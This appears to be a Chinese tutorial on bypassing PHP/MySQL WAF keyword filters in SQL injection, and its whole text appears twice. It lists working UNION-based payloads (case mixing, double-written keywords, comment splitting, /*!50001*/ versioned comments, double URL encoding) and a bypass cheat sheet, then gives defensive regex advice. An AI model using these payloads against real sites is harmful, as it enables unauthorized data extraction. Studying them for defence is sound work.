WAF 绕过 — 关键字绕过手册以 PHP 语言的数据库语法为例系统讲解 SQL 注入中绕过 WAF 关键字过滤的原理与手法。按难易程度分层基础 → 进阶 → 高阶。⚠️ 免责声明本文旨在教学网络安全知识帮助开发者理解 WAF 绕过原理以更好地防御。请勿将本文所述技术用于任何非法攻击或渗透测试。任何滥用本文知识造成的法律后果由使用者自行承担。 文章目录WAF 过滤机制简述一、基础手法1.1 大小写混淆1.2 双写绕过1.3 注释分割关键字二、进阶手法2.1 MySQL 特殊注释2.2 URL 编码2.3 混合大小写注释2.4 编码大小写混合三、高阶手法3.1 十六进制编码仅限字符串值不能替代关键字3.2 函数替代关键字的尝试与失败分析3.3 其他编码方式3.4 information_schema 被拦截时的替代方案3.5 混合绕过策略四、速查表五、防御建议WAF 过滤机制简述理解绕过之前先理解 WAF 是如何过滤关键字的。以 PHP 为例典型流程为用户输入 → Web服务器(URL解码) → PHP $_GET接收 → 正则匹配(WAF) → 拼接SQL → MySQL执行PHP 常用的关键字过滤方式是preg_match或preg_replace// 区分大小写只有完全一样才匹配$pattern/union/;preg_match_all($pattern,$subject,$matches);// 不区分大小写加 i 修饰符$pattern/union/i;// 单词边界避免误匹配 reunion$pattern/\b(union|select)\b/i;绕过的核心思路让 payload 在 WAF 检测时不匹配规则但在 SQL 执行时等效于原关键字。一、基础手法1.1 大小写混淆适用于 WAF 正则区分大小写未使用i修饰符的情况。-- WAF 只匹配小写 unionSELECTidFROMusersUnIoNSeLeCt1,2,3// WAF 规则区分大小写$pattern/union/;// UnIoN 不匹配 → 绕过成功局限大多数现代 WAF 使用i修饰符大小写混淆基本无效。但在多层过滤或低质量 WAF 中仍值得一试。1.2 双写绕过适用于 WAF 使用str_replace或preg_replace且只替换一次的情况。// WAF 规则只替换第一个匹配$pattern/union/i;$replacedpreg_replace($pattern,,$sql,1);// 第4个参数1只替换1次-- 输入 un/**/ion 会被替换为 ion如果 WAF 匹配到 union 的话-- 双写绕过构造 ununionion替换掉中间的 union 后剩下 unionSELECTidFROMusers ununionionSELECT1,2,3-- WAF 替换un[union]ion → union → 执行成功-- 如果 WAF 替换所有匹配$replacedpreg_replace($pattern,,$sql);// 替换所有-- 双写就不行了需要换用注释编码等手法1.3 注释分割关键字利用 SQL 注释在关键字中间插入注释使正则无法匹配但 SQL 引擎会忽略注释正常解析。多行注释/**/-- 注释分割 UNIONSELECTidFROMusers UN/**/IONSELECT1,2,3-- WAF 检测UN/**/ION ≠ UNION → 不匹配 → 绕过-- SQL 执行/* */ 被忽略 → UN/**/ION UNION → 正常执行-- 多层嵌套SELECTidFROMusers U/**/N/**/I/**/O/**/NSELECT1,2,3-- 混合分割SELECTidFROMusers U/*!N*/I/**/O/*!N*/SELECT1,2,3关于单行注释--和#分割关键字的误区-- ❌ 以下写法不生效SELECTidFROMusers UNI-- \nON SELECT 1,2,3原因MySQL 中--后面必须跟空格才被视为注释符。UNI-- \nON中--后面没有空格不被当作注释而是被解释为减号运算符导致语法错误。即使--后面有空格注释后UNI和换行后的ON也不会自动拼合为UNION——注释是删除内容不是字符串连接。总结单行注释--和#不能用来分割关键字的字母。只有多行注释/**/和 MySQL 特殊注释/*!*/可以。二、进阶手法2.1 MySQL 特殊注释MySQL 特有的内联注释/*! */其中内容会被 MySQL 执行其他数据库则忽略。-- MySQL 特殊注释内容会被 MySQL 执行/*!50001 UNION*/SELECT1,2,3-- 50001 表示 MySQL 5.0.01 及以上版本执行-- WAF 检测/*!50001 UNION*/ ≠ UNION → 绕过-- MySQL 执行/*!50001 UNION*/ UNION → 正常执行-- 版本条件执行/*!50000 UNION SELECT 1,2,3 */-- MySQL 5.0 执行/*!80000 UNION SELECT 1,2,3 */-- MySQL 8.0 执行-- 在关键字中间插入SELECTidFROMusers UN/*!*/IONSELECT1,2,3-- MySQL 执行UN/*!*/ION UNION-- 其他数据库忽略注释UNION 被拆开 → 语句无效注意/*!*/是 MySQL 独有语法。如果目标不是 MySQL此方法不适用。2.2 URL 编码将关键字进行 URL 编码使 WAF 的正则匹配不到原始字符串。编码流程与关键问题正常流程 用户输入 union → 浏览器发送 union → 服务器解码为 union → PHP接收 union → WAF匹配 union → 拦截 单次编码基本无效 用户输入 %55%4e%49%4f%4e → 服务器解码为 UNION → PHP接收 UNION → WAF匹配 UNION → 拦截单次 URL 编码通常无效因为 Web 服务器Apache/Nginx在 PHP 接收前已经自动解码了一次。-- 单次编码绕过低质量WAF但对大多数WAF无效%55%4e%49%4f%4e → 服务器解码 →UNION→ WAF匹配到 → 失败双重 URL 编码当 Web 服务器只解码一次而 WAF 在解码后检查时双重编码可以让 WAF 看到的是单次编码后的字符串用户输入 %2555%254e%2549%254f%254e双重编码 → Web服务器解码一次 → %55%4e%49%4f%4e仍为编码状态 → PHP接收 → WAF检测 → 看到的是 %55%4e... → 不匹配 UNION → 绕过成功 → 传入MySQL → MySQL 不认识 %55%4e... → 执行失败双重编码的关键问题MySQL 不能理解 URL 编码。要让 payload 绕过 WAF 并被 MySQL 执行必须在 WAF 检测时是编码状态在 SQL 执行时是非编码状态。这只有在应用层存在二次解码如 PHP 的urldecode()函数被调用时才可能// 如果应用代码中有这样的逻辑$id$_GET[id];// 服务器已解码一次$idurldecode($id);// 应用层再解码一次 → 二次解码$sqlSELECT * FROM news WHERE id$id;// 此时双重编码才能生效// 用户输入 %2555%254e... → 服务器解码为 %55%4e... → WAF看到 %55%4e...(绕过) → urldecode解码为 UNION → MySQL执行核心原则URL 编码绕过是否成功取决于 WAF 检测和最终解码之间的解码次数差。需要具体分析目标应用的解码链路。2.3 混合大小写注释将大小写混淆与注释分割结合增加 WAF 正则匹配难度。-- 大小写 多行注释SeLeCtid Fr/**/Om users UN/**/IoNSeLeCt1,2,3-- 大小写 MySQL 特殊注释/*!50000 UnIoN*//*!50000 SeLeCt*/1,2,32.4 编码大小写混合先大小写混合再进行 URL 编码。-- 原始UNION SELECT -- 混合UnIoN SeLeCt -- 编码%55n%49o%4e %53e%4c%65%63t三、高阶手法3.1 十六进制编码仅限字符串值不能替代关键字十六进制字面量只能用于字符串值不能用于 SQL 关键字。原因在于 SQL 的解析过程SQL 解析过程词法分析 → 语法分析 → 语义分析 → 执行UNION是 SQL 关键字/保留字在词法分析阶段被识别为语法 token0x554e494f4e是十六进制字面量在词法分析阶段被识别为值字符串语法分析阶段解析器在期待关键字的位置看到的是值而非 token → 语法错误-- ❌ 错误0x554e494f4e 不能作为 UNION 关键字SELECT1,2,30x554e494f4eSELECT4,5,6;-- 报错语法错误-- ✅ 正确十六进制用于字符串值SELECTidFROMusersWHEREname0x554e494f4e;-- 等价于 WHERE name UNION查找 name 值为 UNION 的记录MySQL 版本差异MySQL 版本0x554e494f4e行为能否替代关键字5.7 及之前自动转为字符串UNION否仍只是值8.0 及之后二进制字符串类型否仍只是值总结十六进制编码可以绕过对字符串值如表名、列名、搜索关键词的引号过滤但绝对不能用来绕过UNION、SELECT等关键字本身的过滤。3.2 函数替代关键字的尝试与失败分析在 SQL 注入中常有人尝试用CHAR()、CONCAT()等函数返回关键字字符串来绕过过滤。但这不能替代关键字原因同上——函数返回的是值不是语法 token。-- ❌ CHAR() 不能替代 UNION 关键字SELECTidFROMusersCHAR(85,78,73,79,78)SELECT1,2,3;-- 报错语法错误CHAR() 返回的是值 UNION不是关键字 UNION-- ❌ CONCAT() 也不能SELECTidFROMusers CONCAT(U,N,I,O,N)SELECT1,2,3;-- 同样报错-- ❌ CONCAT_WS() 也不能SELECTidFROMusers CONCAT_WS(,U,N,I,O,N)SELECT1,2,3;-- 同样报错-- ❌ 子查询返回字符串也不能SELECT1,2,(SELECTCONCAT(u,n,i,o,n))ASunion_str;-- 结果返回值 union但不会执行 UNION 操作根本原因SQL 解析器在语法分析阶段期待关键字位置出现的是 token关键字标识而不是表达式函数调用。函数是表达式关键字是语法结构两者在语法树的层级完全不同。函数的正确用法——在值的位置使用-- ✅ CHAR() 在 SELECT 列表中值的位置使用SELECTCHAR(85,78,73,79,78)FROMusers;-- 返回每行都是 UNION-- ✅ CONCAT() 在 WHERE 条件中使用SELECTidFROMusersWHEREnameCONCAT(U,N,I,O,N);-- 查找 name UNION 的记录-- ✅ CHAR() 在 WHERE 条件中使用SELECTidFROMusersWHEREnameCHAR(85,78,73,79,78);-- 同上3.3 其他编码方式除 URL 编码外还存在其他编码方式效果取决于服务器的解码链路WAF 检测和最终解码的时序关系Unicode 编码适用于 JSON/XML 输入{id:1\u0041\u004e\u0044 11}二进制/八进制字面量不能作为 SQL 关键字解析与十六进制同理。3.4 information_schema 被拦截时的替代方案如果information_schema被 WAF 拦截且无法绕过可以尝试以下替代方案方案一MySQL 系统库替代查询-- 查询所有数据库替代 information_schema.schemataSELECTDISTINCTtable_schemaFROMinformation_schema.tables;-- 如果 information_schema 整体被拦截尝试 mysql 系统库SELECTschema_nameFROMmysql.schemata;-- MySQL 8.0-- 查询版本信息替代 version() 函数当函数被过滤时SELECTversion,global.version;-- 或从系统变量表查询SELECTVARIABLE_VALUEFROMinformation_schema.GLOBAL_VARIABLESWHEREVARIABLE_NAMEversion;SELECTVARIABLE_VALUEFROMinformation_schema.SESSION_VARIABLESWHEREVARIABLE_NAMEversion;-- 查询当前数据库替代 database() 函数SELECTTABLE_SCHEMAFROMinformation_schema.TABLESLIMIT1;方案二InnoDB 系统表MySQL 5.x-- 利用 InnoDB 引擎的系统表SELECT*FROMmysql.innodb_table_stats;SELECT*FROMmysql.innodb_index_stats;-- 注意mysql.innodb_table_stats 属于 mysql 系统库不是独立的系统数据库方案三布尔盲注替代当联合查询被完全封堵时回退到布尔盲注逐字符猜解表名和列名。3.5 混合绕过策略实战中往往需要多种手法组合使用-- 大小写 注释 特殊注释 编码的组合?id-1 /*!50001UNIoN*/ /*!50001SeLeCt*/ 1,2,3-- -- 注释分割 URL编码 ?id-1%20UN/**/ION%20SeLeCt%201,2,3---- 双写 注释应对替换型WAF?id-1 ununiunionon/**/selselectect1,2,3--四、速查表场景WAF 类型绕过写法成功率区分大小写preg_match(/union/)UnIoN SeLeCt高不区分大小写preg_match(/union/i)UN/**/ION SeLeCt中替换一次preg_replace(..., 1)ununionion高替换全部preg_replace(...)UN/**/ION 编码中严格单词匹配\b(union|select)\b/i/*!50000UNION*/中双重解码存在urldecode()%2555%254e%2549%254f%254e低需要特定条件关键字过滤引号过滤综合过滤/*!50000UNION*/ SELE/**/CT 1,0x61646d696e,3中五、防御建议WAF 正则规则应覆盖以下维度注释分割检测去除注释后再匹配/\/\*.*?\*\//→ 删除 → 再匹配关键字多重编码检测对输入进行递归 URL 解码直到解码结果不再变化逻辑运算符别名检测、||、!等运算符别名大小写归一化匹配前统一转为小写MySQL 特殊注释检测/*!模式统一字符集UTF-8 编码避免字符集差异导致的绕过⚠️ 法律与道德声明本文所有内容仅供网络安全学习与研究使用旨在帮助开发者和安全人员理解 WAF 绕过原理从而构建更安全的 Web 应用。严禁将文中任何技术用于未经授权的系统测试、渗透或攻击非法获取、篡改、破坏他人数据任何违反《中华人民共和国网络安全法》及相关法律法规的行为网络安全是双刃剑技术本身无罪但使用者的意图决定其性质。请务必在法律允许的范围内进行安全研究共同维护清朗网络空间。作者与平台不对任何滥用本文技术造成的后果负责。
5-数据库-SQL注入-联合查询-关键字绕过-day13
WAF 绕过 — 关键字绕过手册以 PHP 语言的数据库语法为例系统讲解 SQL 注入中绕过 WAF 关键字过滤的原理与手法。按难易程度分层基础 → 进阶 → 高阶。⚠️ 免责声明本文旨在教学网络安全知识帮助开发者理解 WAF 绕过原理以更好地防御。请勿将本文所述技术用于任何非法攻击或渗透测试。任何滥用本文知识造成的法律后果由使用者自行承担。 文章目录WAF 过滤机制简述一、基础手法1.1 大小写混淆1.2 双写绕过1.3 注释分割关键字二、进阶手法2.1 MySQL 特殊注释2.2 URL 编码2.3 混合大小写注释2.4 编码大小写混合三、高阶手法3.1 十六进制编码仅限字符串值不能替代关键字3.2 函数替代关键字的尝试与失败分析3.3 其他编码方式3.4 information_schema 被拦截时的替代方案3.5 混合绕过策略四、速查表五、防御建议WAF 过滤机制简述理解绕过之前先理解 WAF 是如何过滤关键字的。以 PHP 为例典型流程为用户输入 → Web服务器(URL解码) → PHP $_GET接收 → 正则匹配(WAF) → 拼接SQL → MySQL执行PHP 常用的关键字过滤方式是preg_match或preg_replace// 区分大小写只有完全一样才匹配$pattern/union/;preg_match_all($pattern,$subject,$matches);// 不区分大小写加 i 修饰符$pattern/union/i;// 单词边界避免误匹配 reunion$pattern/\b(union|select)\b/i;绕过的核心思路让 payload 在 WAF 检测时不匹配规则但在 SQL 执行时等效于原关键字。一、基础手法1.1 大小写混淆适用于 WAF 正则区分大小写未使用i修饰符的情况。-- WAF 只匹配小写 unionSELECTidFROMusersUnIoNSeLeCt1,2,3// WAF 规则区分大小写$pattern/union/;// UnIoN 不匹配 → 绕过成功局限大多数现代 WAF 使用i修饰符大小写混淆基本无效。但在多层过滤或低质量 WAF 中仍值得一试。1.2 双写绕过适用于 WAF 使用str_replace或preg_replace且只替换一次的情况。// WAF 规则只替换第一个匹配$pattern/union/i;$replacedpreg_replace($pattern,,$sql,1);// 第4个参数1只替换1次-- 输入 un/**/ion 会被替换为 ion如果 WAF 匹配到 union 的话-- 双写绕过构造 ununionion替换掉中间的 union 后剩下 unionSELECTidFROMusers ununionionSELECT1,2,3-- WAF 替换un[union]ion → union → 执行成功-- 如果 WAF 替换所有匹配$replacedpreg_replace($pattern,,$sql);// 替换所有-- 双写就不行了需要换用注释编码等手法1.3 注释分割关键字利用 SQL 注释在关键字中间插入注释使正则无法匹配但 SQL 引擎会忽略注释正常解析。多行注释/**/-- 注释分割 UNIONSELECTidFROMusers UN/**/IONSELECT1,2,3-- WAF 检测UN/**/ION ≠ UNION → 不匹配 → 绕过-- SQL 执行/* */ 被忽略 → UN/**/ION UNION → 正常执行-- 多层嵌套SELECTidFROMusers U/**/N/**/I/**/O/**/NSELECT1,2,3-- 混合分割SELECTidFROMusers U/*!N*/I/**/O/*!N*/SELECT1,2,3关于单行注释--和#分割关键字的误区-- ❌ 以下写法不生效SELECTidFROMusers UNI-- \nON SELECT 1,2,3原因MySQL 中--后面必须跟空格才被视为注释符。UNI-- \nON中--后面没有空格不被当作注释而是被解释为减号运算符导致语法错误。即使--后面有空格注释后UNI和换行后的ON也不会自动拼合为UNION——注释是删除内容不是字符串连接。总结单行注释--和#不能用来分割关键字的字母。只有多行注释/**/和 MySQL 特殊注释/*!*/可以。二、进阶手法2.1 MySQL 特殊注释MySQL 特有的内联注释/*! */其中内容会被 MySQL 执行其他数据库则忽略。-- MySQL 特殊注释内容会被 MySQL 执行/*!50001 UNION*/SELECT1,2,3-- 50001 表示 MySQL 5.0.01 及以上版本执行-- WAF 检测/*!50001 UNION*/ ≠ UNION → 绕过-- MySQL 执行/*!50001 UNION*/ UNION → 正常执行-- 版本条件执行/*!50000 UNION SELECT 1,2,3 */-- MySQL 5.0 执行/*!80000 UNION SELECT 1,2,3 */-- MySQL 8.0 执行-- 在关键字中间插入SELECTidFROMusers UN/*!*/IONSELECT1,2,3-- MySQL 执行UN/*!*/ION UNION-- 其他数据库忽略注释UNION 被拆开 → 语句无效注意/*!*/是 MySQL 独有语法。如果目标不是 MySQL此方法不适用。2.2 URL 编码将关键字进行 URL 编码使 WAF 的正则匹配不到原始字符串。编码流程与关键问题正常流程 用户输入 union → 浏览器发送 union → 服务器解码为 union → PHP接收 union → WAF匹配 union → 拦截 单次编码基本无效 用户输入 %55%4e%49%4f%4e → 服务器解码为 UNION → PHP接收 UNION → WAF匹配 UNION → 拦截单次 URL 编码通常无效因为 Web 服务器Apache/Nginx在 PHP 接收前已经自动解码了一次。-- 单次编码绕过低质量WAF但对大多数WAF无效%55%4e%49%4f%4e → 服务器解码 →UNION→ WAF匹配到 → 失败双重 URL 编码当 Web 服务器只解码一次而 WAF 在解码后检查时双重编码可以让 WAF 看到的是单次编码后的字符串用户输入 %2555%254e%2549%254f%254e双重编码 → Web服务器解码一次 → %55%4e%49%4f%4e仍为编码状态 → PHP接收 → WAF检测 → 看到的是 %55%4e... → 不匹配 UNION → 绕过成功 → 传入MySQL → MySQL 不认识 %55%4e... → 执行失败双重编码的关键问题MySQL 不能理解 URL 编码。要让 payload 绕过 WAF 并被 MySQL 执行必须在 WAF 检测时是编码状态在 SQL 执行时是非编码状态。这只有在应用层存在二次解码如 PHP 的urldecode()函数被调用时才可能// 如果应用代码中有这样的逻辑$id$_GET[id];// 服务器已解码一次$idurldecode($id);// 应用层再解码一次 → 二次解码$sqlSELECT * FROM news WHERE id$id;// 此时双重编码才能生效// 用户输入 %2555%254e... → 服务器解码为 %55%4e... → WAF看到 %55%4e...(绕过) → urldecode解码为 UNION → MySQL执行核心原则URL 编码绕过是否成功取决于 WAF 检测和最终解码之间的解码次数差。需要具体分析目标应用的解码链路。2.3 混合大小写注释将大小写混淆与注释分割结合增加 WAF 正则匹配难度。-- 大小写 多行注释SeLeCtid Fr/**/Om users UN/**/IoNSeLeCt1,2,3-- 大小写 MySQL 特殊注释/*!50000 UnIoN*//*!50000 SeLeCt*/1,2,32.4 编码大小写混合先大小写混合再进行 URL 编码。-- 原始UNION SELECT -- 混合UnIoN SeLeCt -- 编码%55n%49o%4e %53e%4c%65%63t三、高阶手法3.1 十六进制编码仅限字符串值不能替代关键字十六进制字面量只能用于字符串值不能用于 SQL 关键字。原因在于 SQL 的解析过程SQL 解析过程词法分析 → 语法分析 → 语义分析 → 执行UNION是 SQL 关键字/保留字在词法分析阶段被识别为语法 token0x554e494f4e是十六进制字面量在词法分析阶段被识别为值字符串语法分析阶段解析器在期待关键字的位置看到的是值而非 token → 语法错误-- ❌ 错误0x554e494f4e 不能作为 UNION 关键字SELECT1,2,30x554e494f4eSELECT4,5,6;-- 报错语法错误-- ✅ 正确十六进制用于字符串值SELECTidFROMusersWHEREname0x554e494f4e;-- 等价于 WHERE name UNION查找 name 值为 UNION 的记录MySQL 版本差异MySQL 版本0x554e494f4e行为能否替代关键字5.7 及之前自动转为字符串UNION否仍只是值8.0 及之后二进制字符串类型否仍只是值总结十六进制编码可以绕过对字符串值如表名、列名、搜索关键词的引号过滤但绝对不能用来绕过UNION、SELECT等关键字本身的过滤。3.2 函数替代关键字的尝试与失败分析在 SQL 注入中常有人尝试用CHAR()、CONCAT()等函数返回关键字字符串来绕过过滤。但这不能替代关键字原因同上——函数返回的是值不是语法 token。-- ❌ CHAR() 不能替代 UNION 关键字SELECTidFROMusersCHAR(85,78,73,79,78)SELECT1,2,3;-- 报错语法错误CHAR() 返回的是值 UNION不是关键字 UNION-- ❌ CONCAT() 也不能SELECTidFROMusers CONCAT(U,N,I,O,N)SELECT1,2,3;-- 同样报错-- ❌ CONCAT_WS() 也不能SELECTidFROMusers CONCAT_WS(,U,N,I,O,N)SELECT1,2,3;-- 同样报错-- ❌ 子查询返回字符串也不能SELECT1,2,(SELECTCONCAT(u,n,i,o,n))ASunion_str;-- 结果返回值 union但不会执行 UNION 操作根本原因SQL 解析器在语法分析阶段期待关键字位置出现的是 token关键字标识而不是表达式函数调用。函数是表达式关键字是语法结构两者在语法树的层级完全不同。函数的正确用法——在值的位置使用-- ✅ CHAR() 在 SELECT 列表中值的位置使用SELECTCHAR(85,78,73,79,78)FROMusers;-- 返回每行都是 UNION-- ✅ CONCAT() 在 WHERE 条件中使用SELECTidFROMusersWHEREnameCONCAT(U,N,I,O,N);-- 查找 name UNION 的记录-- ✅ CHAR() 在 WHERE 条件中使用SELECTidFROMusersWHEREnameCHAR(85,78,73,79,78);-- 同上3.3 其他编码方式除 URL 编码外还存在其他编码方式效果取决于服务器的解码链路WAF 检测和最终解码的时序关系Unicode 编码适用于 JSON/XML 输入{id:1\u0041\u004e\u0044 11}二进制/八进制字面量不能作为 SQL 关键字解析与十六进制同理。3.4 information_schema 被拦截时的替代方案如果information_schema被 WAF 拦截且无法绕过可以尝试以下替代方案方案一MySQL 系统库替代查询-- 查询所有数据库替代 information_schema.schemataSELECTDISTINCTtable_schemaFROMinformation_schema.tables;-- 如果 information_schema 整体被拦截尝试 mysql 系统库SELECTschema_nameFROMmysql.schemata;-- MySQL 8.0-- 查询版本信息替代 version() 函数当函数被过滤时SELECTversion,global.version;-- 或从系统变量表查询SELECTVARIABLE_VALUEFROMinformation_schema.GLOBAL_VARIABLESWHEREVARIABLE_NAMEversion;SELECTVARIABLE_VALUEFROMinformation_schema.SESSION_VARIABLESWHEREVARIABLE_NAMEversion;-- 查询当前数据库替代 database() 函数SELECTTABLE_SCHEMAFROMinformation_schema.TABLESLIMIT1;方案二InnoDB 系统表MySQL 5.x-- 利用 InnoDB 引擎的系统表SELECT*FROMmysql.innodb_table_stats;SELECT*FROMmysql.innodb_index_stats;-- 注意mysql.innodb_table_stats 属于 mysql 系统库不是独立的系统数据库方案三布尔盲注替代当联合查询被完全封堵时回退到布尔盲注逐字符猜解表名和列名。3.5 混合绕过策略实战中往往需要多种手法组合使用-- 大小写 注释 特殊注释 编码的组合?id-1 /*!50001UNIoN*/ /*!50001SeLeCt*/ 1,2,3-- -- 注释分割 URL编码 ?id-1%20UN/**/ION%20SeLeCt%201,2,3---- 双写 注释应对替换型WAF?id-1 ununiunionon/**/selselectect1,2,3--四、速查表场景WAF 类型绕过写法成功率区分大小写preg_match(/union/)UnIoN SeLeCt高不区分大小写preg_match(/union/i)UN/**/ION SeLeCt中替换一次preg_replace(..., 1)ununionion高替换全部preg_replace(...)UN/**/ION 编码中严格单词匹配\b(union|select)\b/i/*!50000UNION*/中双重解码存在urldecode()%2555%254e%2549%254f%254e低需要特定条件关键字过滤引号过滤综合过滤/*!50000UNION*/ SELE/**/CT 1,0x61646d696e,3中五、防御建议WAF 正则规则应覆盖以下维度注释分割检测去除注释后再匹配/\/\*.*?\*\//→ 删除 → 再匹配关键字多重编码检测对输入进行递归 URL 解码直到解码结果不再变化逻辑运算符别名检测、||、!等运算符别名大小写归一化匹配前统一转为小写MySQL 特殊注释检测/*!模式统一字符集UTF-8 编码避免字符集差异导致的绕过⚠️ 法律与道德声明本文所有内容仅供网络安全学习与研究使用旨在帮助开发者和安全人员理解 WAF 绕过原理从而构建更安全的 Web 应用。严禁将文中任何技术用于未经授权的系统测试、渗透或攻击非法获取、篡改、破坏他人数据任何违反《中华人民共和国网络安全法》及相关法律法规的行为网络安全是双刃剑技术本身无罪但使用者的意图决定其性质。请务必在法律允许的范围内进行安全研究共同维护清朗网络空间。作者与平台不对任何滥用本文技术造成的后果负责。